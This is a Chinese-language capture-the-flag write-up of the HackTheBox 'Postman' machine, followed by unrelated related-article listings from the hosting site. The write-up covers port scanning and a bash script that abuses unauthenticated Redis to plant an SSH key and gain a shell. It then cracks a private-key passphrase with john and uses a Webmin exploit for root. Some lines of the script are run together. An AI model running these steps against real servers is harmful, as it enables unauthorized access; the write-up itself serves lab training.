实验环境

渗透过程

0x01 信息搜集

masscan扫描

扫描结果目标服务开放了22(ssh),80(http),6379(redis),10000(webmin)端口

nmap扫描

nmap -sS -sV -T4 -v -p- 10.10.10.160

-sS: SYN扫描是目前默认的也是最受欢迎的扫描选项

-A: 同时打开操作系统探测和版本探测。

-T4: 指定扫描过程中使用的时序(Timing),共有6个级别(0-5),级别越高,扫描速度越快,但也越容易被防火墙屏蔽。在网络通信状态良好的情况下推荐使用 T4.

-v: 显示冗余信息,在扫描过程中显示扫描的细节

-p-: 表示从端口1扫描到65535

访问10000端口

尝试使用弱口令破解,发现提示尝试次数过多

访问80端口,是一个常规web服务,扫描后没有发现敏感目录。

使用nmap进行redis版本扫描

百度后发现,redis有典型的未鉴权漏洞,描述如下:

​ Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

0x02 Redis 未授权访问漏洞利用

发现 6379 端口运行着 Redis 服务,且版本较低,存在未授权访问漏洞,可以将本地 ssh 公钥写进远程靶机从而 getshell

exploit 如下:

#!/bin/bash
rm /root/.ssh/id*
ssh-keygen -t rsa (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt redis-cli -h 10.10.10.160 flushall
cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
redis-cli -h 10.10.10.160 save ssh -i /root/.ssh/id_rsa redis@10.10.10.160

具体说明:

  1. 将本地 kali 的 ssh 公钥写进文本 foo 中,在其前后添加换行符 \n 为了避免和Redis里其他缓存数据混合

  2. redis-cli -x 参数:代表从标准输入读取数据作为该命令的最后一个参数。

    例:$echo "world" |redis-cli -x set hello 等价于 redis-cli set hello world

  3. 该版本的 Redis 允许任意用户未授权访问并写文件,同时 Redis 在其默认目录下拥有 ssh 密钥并对其有写权限。这导致攻击者可以用自己的公钥覆盖原文件,实现远程登录。

  4. 这里设定了 crackit 的键值为公钥,并通过 redis 命令变更 Redis DB 文件及存放地点为用户的 .ssh 文件夹,并将 authorized_keys 覆盖

    这样就可以成功的将自己的公钥写入 /.ssh 文件夹的 authotrized_keys 文件里,然后攻击者就可以直接用 ssh 免密登录

  5. 因为靶机一直被所有人频繁修改和复写,一开始连接时需要使用 flushall 删除所有数据库中的所有key

0x03 user.txt/root.txt

拿到 redis 的低权限 shell 后,在 /home 目录下发现用户 Matt,su Mutt 尝试切换发现需要密码。在 .bash_history 文件中发现存在 id_rsa_bak,因此遍历各个关键目录查找线索,在 /var/opt 下发现 ida_rsa.bak 文件,应该是 Matt 的 ssh 私钥。

下载私钥到本地,使用ssh2john转换为John可识别的文件

kali@kali:~/Desktop$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

使用john破解

得到密码为computer2008

使用 密码切换到Matt用户,获取user.txt

使用 Matt 和 computer2008 尝试登录webmin,登录成功,网站本身没有什么东西,再次注意到 Webmin 的版本,搜索是否存在相关 exploit。

查找到相关exploit,直接利用:

获得shell

获取root.txt

HTB::Postman的更多相关文章

  1. Postman - 功能强大的 API 接口请求调试和管理工具

    Postman 是一款功能强大的的 Chrome 应用,可以便捷的调试接口.前端开发人员在开发或者调试 Web 程序的时候是需要一些方法来跟踪网页请求的,用户可以使用一些网络的监视工具比如著名的 Fi ...

  2. postman使用

    1.postman的下载:google首页左上角应用,点击后,如果没有下载postman,就在google商店搜索,点击右边按钮 2.下载后重新打开google首页,点击应用,可以看到已经下载过了,点 ...

  3. 复习(2)【postman,charles,filezilla server】

    Postman是一款功能强大的网页调试与发送网页HTTP请求的Chrome插件.通常我们可以用它来测试接口. Charles是在Mac下常用的网络封包截取工具,在做移动开发时,我们为了调试与服务器端的 ...

  4. postman 断言解析

    最近在学习postman官方文档, 顺势翻译出来,以供学习! postman断言是JavaScript语言编写的,在postman客户端指定区域编写即可. 断言会在请求返回之后,运行,并根据断言的pa ...

  5. postman发送带cookie的http请求

    1:需求:测试接口的访问权限,对于某些接口A可以访问,B不能访问. 2:问题:对于get请求很简单,登录之后,直接使用浏览器访问就可以: 对于post请求的怎么测试呢?前提是需要登录态,才能访问接口. ...

  6. postman测试接口之POST提交本地文件数据

    前言: 接口测试时,有时需要读取文件的数据:那么postman怎么添加一个文件作为参数呢? 实例: 接口地址: http://121.xxx.xxx.xxx:9003/marketAccount/ba ...

  7. Web接口测试工具---Poster与Postman

    工作当中有不少时间在编写和维护接口自动化测试用例.打算先整理一些接口相关工具的使用. 简单对接Web口测试的相关工具/技术做个划分. HTTP/SOAP协议接口的功能测试: 1.浏览器URL(GET请 ...

  8. WebAPI生成可导入到PostMan的数据

    一.前言 现在使用WebAPI来作为实现企业服务化的需求非常常见,不可否认它也是很便于使用的,基于注释可以生成对应的帮助文档(Microsoft.AspNet.WebApi.HelpPage),但是比 ...

  9. postman使用之五:Runner的使用

    1.首先在postman新建要批量运行的接口文件夹,新建一个接口,并设置好全局变量. 2.然后在Test里面设置好要断言的方法 如: tests["Status code is 200&qu ...

随机推荐

  1. 关于Api的那些事儿!

    工作中一直在写Api数据接口,但大部分的Api都存在这样的问题 1.接口请求的地址和参数暴露 2.重要接口返回数据明文暴露 3.APP登录态请求的数据完全性问题 4.代码层的数据完全性问题(从代码层有 ...

  2. 给博客使用Butterfly主题并部署到GitHub服务器

    目录 前言 一.安装Butterfly主题 二.将本地博客部署到GitHub服务器 三.将个人域名与GitHub绑定 前言 安装完Hexo框架后,自带的主题在thems文件夹下可以查看,应用后界面: ...

  3. Clear Writer v1.7 更新

    拖更了这么久了的我终于来更新了--这可能是今年上半年最后一次更新了-- 这次我打算把 Clear Writer 公开发布了. 下载链接 下载链接在这里. (这次用蓝奏,不用奶牛快传了) Clear W ...

  4. 写一个通用的List集合导出excel的通用方法

    前几天要做一个数据导出Excel 我就打算写一个通用的. 这样一来用的时候也方便,数据主要是通过Orm取的List.这样写一个通用的刚好. public static void ListToExcel ...

  5. INSERT INTO语句的基本用法

    原文链接:https://www.cnblogs.com/mingmingming/p/11295200.html 一.INSERT INTO语句的基本用法 INSERT INTO 语句用于往表中插入 ...

  6. 【K8S】Service服务详解,看这一篇就够了!!

    k8s用命名空间namespace把资源进行隔离,默认情况下,相同的命名空间里的服务可以相互通讯,反之进行隔离. 1.1 Service Kubernetes中一个应用服务会有一个或多个实例(Pod, ...

  7. java中值传递

    最近学基础的时候,老师讲了值传递和引用传递,这个问题一直不太明白,上网查了很多资料,按照自己的理解整理了一遍,发现之前不太明白的地方基本上想明白了,如有不正确的地方,欢迎指正,谢谢. 首先要说明的是j ...

  8. 7-4 是否同一棵二叉搜索树 (25分) JAVA

    给定一个插入序列就可以唯一确定一棵二叉搜索树.然而,一棵给定的二叉搜索树却可以由多种不同的插入序列得到. 例如分别按照序列{2, 1, 3}和{2, 3, 1}插入初始为空的二叉搜索树,都得到一样的结 ...

  9. Python函数参数详解

    Python函数参数详解 形参与实参 什么是形参 在定义函数阶段定义的参数称之为形式参数,简称形参,相当于变量名. 什么是实参 在调用函数阶段传入的值称为实际参数,简称实参.相当于"变量值& ...

  10. linux 配置ssh免密登录

    一.SSH概念(百度) SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定:SSH 为建立在应用层基础上的安全协议.SSH 是目 ...